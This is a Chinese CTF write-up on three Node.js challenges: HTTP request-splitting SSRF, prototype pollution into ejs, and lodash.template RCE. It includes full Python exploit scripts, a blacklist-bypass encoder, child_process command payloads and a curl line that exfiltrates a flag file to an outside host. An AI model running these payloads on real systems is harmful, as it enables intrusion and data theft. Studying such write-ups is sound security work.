Tip:npm audit,Run a security audit

[GYCTF2020]Node Game

题目链接:https://buuoj.cn/challenges#[GYCTF2020]Node%20Game

比赛的时候好像有个提示:Node 版本为 8.12.0

这题主要考的是node代审SSRF请求夹带(http走私)

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

先看代码逻辑,express框架写的,路由交给express处理

根路由/,接收一个action参数,不允许出现/\\(反斜杠),path拼接使用pug 引擎渲染模板到前端

/file_upload,很明显文件上传,但是需要ip.includes('127.0.0.1')ipreq.connection.remoteAddress获取,我们知道remoteAddress这种http是无法伪造的,所以必须得是本地请求才可以上传文件,可能涉及SSRFfile_pathmimetype直接拼接,未做任何校验,可以路径穿越上传任意文件,这里先放着

/source,源码获取

/core,接收一个q,访问本地8081端口的资源,放到/source后面,然后会显示访问的结果,这里估计就是SSRF的点了

逻辑分析完,根据题目提示,node版本,估计是node的洞,网上查了一下,这个版本的 Node 的 http 模块涉及一个拆分攻击漏洞,这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的。

详见:https://xz.aliyun.com/t/2894

于是我们可以构造恶意请求

原始请求头:

GET /source?q=x HTTP/1.1

插入文件上传请求头:

GET /source?q=x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081

xxx文件内容

文件内容根据pug引擎手册来写: https://pugjs.org/zh-cn/language/includes.html

读flag的话包含flag文件即可,格式如下

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

Content-Type: /../template,写pug到template目录下

Connection: Keep-Alive,表明客户端想要保持该网络连接打开,Connection

Exp:

import urllib.parse
import requests

payload = '''x HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: x
Content-Type: multipart/form-data; boundary=--------------------------123
Connection: keep-alive
cache-control: no-cache
Content-Length: 253

----------------------------123
Content-Disposition: form-data; name="file"; filename="extrader.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------123--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
print(requests.get('http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload)).text)
print(requests.get('http://8a307357-1cde-471d-b257-70794a7efa58.node4.buuoj.cn:81/?action=extrader').text)

但如果我们想嵌入代码RCE呢?

还是根据文档来:https://pugjs.org/zh-cn/language/code.html

- global.process.mainModule.require('child_process').execSync('evalcmd')

但是这里有个blacklist

字符串拼接绕过:

- eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")

对参数URL编码绕过:https://blog.5am3.com/2020/02/11/ctf-node1/#自己出的-node-gamev

Exp:

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
    payload = payload.replace(" ","%C4%A0")
    payload = payload.replace("\n","%C4%8D%C4%8A")
    payload = payload.replace("\"","%C4%A2")
    payload = payload.replace("'","%C4%A7")
    payload = payload.replace("`","%C5%A0")
    payload = payload.replace("!","%C4%A1")

    payload = payload.replace("+","%2B")
    payload = payload.replace(";","%3B")
    payload = payload.replace("&","%26")

    # Bypass Waf 
    payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
    payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
    payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
    payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
    payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
    
    return payload

def run(url,cmd):
    payloadC =  payloadRaw.replace("evalcmd",cmd)
    urlC = url+"/core?q="+getParm(payloadC)
    requests.get(urlC)
    
    return requests.get(url+"/?action=5am3_get_flag").text

if __name__ == '__main__':
    targetUrl = sys.argv[1]
    cmd = sys.argv[2]
    print(run(targetUrl,cmd))

# python3 exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"

[GYCTF2020]Ez_Express

知识点:原型链污染,ejs模板引擎远程代码执行漏洞(CVE-2020-35772)

首页如下,访问www.zip可以得到一份代码

目录结构如下(node_modules是我本地搭环境的时候npm install)

我们主要看到index.js代码

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

这里涉及的CVE可以看 Express+lodash+ejs: 从原型链污染到RCE,然后再来看这个代码就知道如何利用了

明显的clone->merge原型链污染,代码逻辑比较简单,一个login,一个register,我们看到clone函数在哪里使用了,action这个路由,咋一看,好像是需要userADMIN才可以执行这个反序列化,但是这里注意看,这个if后的大括号,并没有包括下面两行代码,我有充分的理由怀疑出题人这里大括号位置搞错了,这样的话,ADMIN的限制也就不存在了,而且他这个if也没有return出去,代码还是会往下执行。

先随便注册一个用户,否则会报Cannot read property 'user' of undefined错,因为需要req.session.user.data = clone(req.body)

然后直接构造payloadaction处发包

{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

再访问首页触发payload,即可拿到flag

但是如果限制了登录呢?我们再来看代码逻辑

login那里有个safeKeyword正则校验是否为admin,后面存入session的时候有一个toUpperCase()的操作,这里参考P🐮的 Fuzz中的javascript大小写特性

直接把原文搬过来了

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

直接注册的时候把 admin 写成 admın 即可绕过上面的限制了。后面思路还是一样。

Code-Breaking 2018 Thejs

P🐮知识星球两周年活动,2018年的,我那时候还没加入。。。说多了都是泪。。有机会把几道题都玩玩

题目链接:https://code-breaking.com/puzzle/9/

这题主要涉及原型链的利用,利用方式不复杂,主要还是得找到关键点,得看懂代码

拿到题目源码,npm install把模块下一下,就可以用node跑了

看到server.js源码

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    // 接收post请求
    if (req.method == 'POST') {
        // 对象数据合并操作
        data = lodash.merge(data, req.body)
        // 把data存到session中
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

直接就看到了lodash.merge这个操作,具体可以回顾我前面的 JavaScript原型链污染漏洞学习

先看一下发送正常的数据包,后端的数据变化

language[]=python&language[]=go&category[]=pwn

步过:

可以看到将languagecategory这两个数组对象存到了data中,简单来说,就是在data这个对象中添加了两个数组对象,数组的值就是我们post提交的值

根据我们前面分析的merge利用操作,我们可以直接post一个json格式的字符串,来对data这个对象的原型进行修改,data对象的原型就是Object,看下data.__proto__就可以知道

那我们这里可以尝试一下

{"__proto__":{"name":"extrader"}}

注意要设置Content-Type: application/json,否则后端express不会解析json,而且要保证子类中没有name这个变量,子类会继承父类的所有方法,只有当前类没有定义这个变量,才会去父类寻找。

断点下着,看调试结果

步过:

看到上图,我们成功污染了Object原型方法,在里面加入了一个name,那这个时候,改如何利用这一点?我们的目的,RCE

所以我们需要找到一个在影响Object后可以RCE的地方,其实这才是关键。。。

直接看结果吧

app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})

lodash.template:一个模板引擎 方法,我们可以在server.js的代码中看到

找到源代码,主要看以下代码

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...
var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
        .apply(undefined, importsValues);
});

options是一个ObjectsourceURL这个变量取options.sourceURL中的值,原本options中是没有sourceURL这个值的,于是这个变量为空

但是通过原型链污染,我们可以令options.sourceURL中有值,即取到Object中的值,于是我们就可以控制sourceURL这个变量

在后面我们可以看到sourceURL被拼接到Function方法的最后一个参数,这个参数是一个含有包括函数定义的 JavaScript 语句的字符串。

Function这里定义了一个函数是不会调用的,但后面跟了个apply方法,而这个方法就是给前面的Function传值调用的,于是就执行了Function中的代码

构造恶意payload如下

{"__proto__":{"sourceURL":"\nreturn e=> {return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\n//"}}

注意这里为什么要用e=>箭头函数,如果不使用的话,会报一个TypeError: compiled is not a function错误

compiled得到的是lodash.template返回的结果,即template中定义的result,而这个结果需要是一个function,因为后面有compiled({...options})调用,具体看server代码

所以我们需要使用箭头函数返回一个function,使得程序能够继续运行下去

以上payload确实可以得到命令执行的结果,但是这样并不好

P🐮给出的解释如下

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。

如果我们用上面的payload,然后我们随意访问题目链接,都会将我们命令执行的结果输出出来,于是就有了改进后的payload

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\n//"}}

这样就不会出现破坏真实业务这种情况了

命令执行还可以使用require

global.require("child_process").execSync("whoami").toString()

但是这道题中并没有require

总结

  • 原型链还是比较有意思的,但总的来说还是代码审计,慢慢来吧
  • 未完待续,后面如果碰到了有意思JavaScript的题还会继续往上面放

参考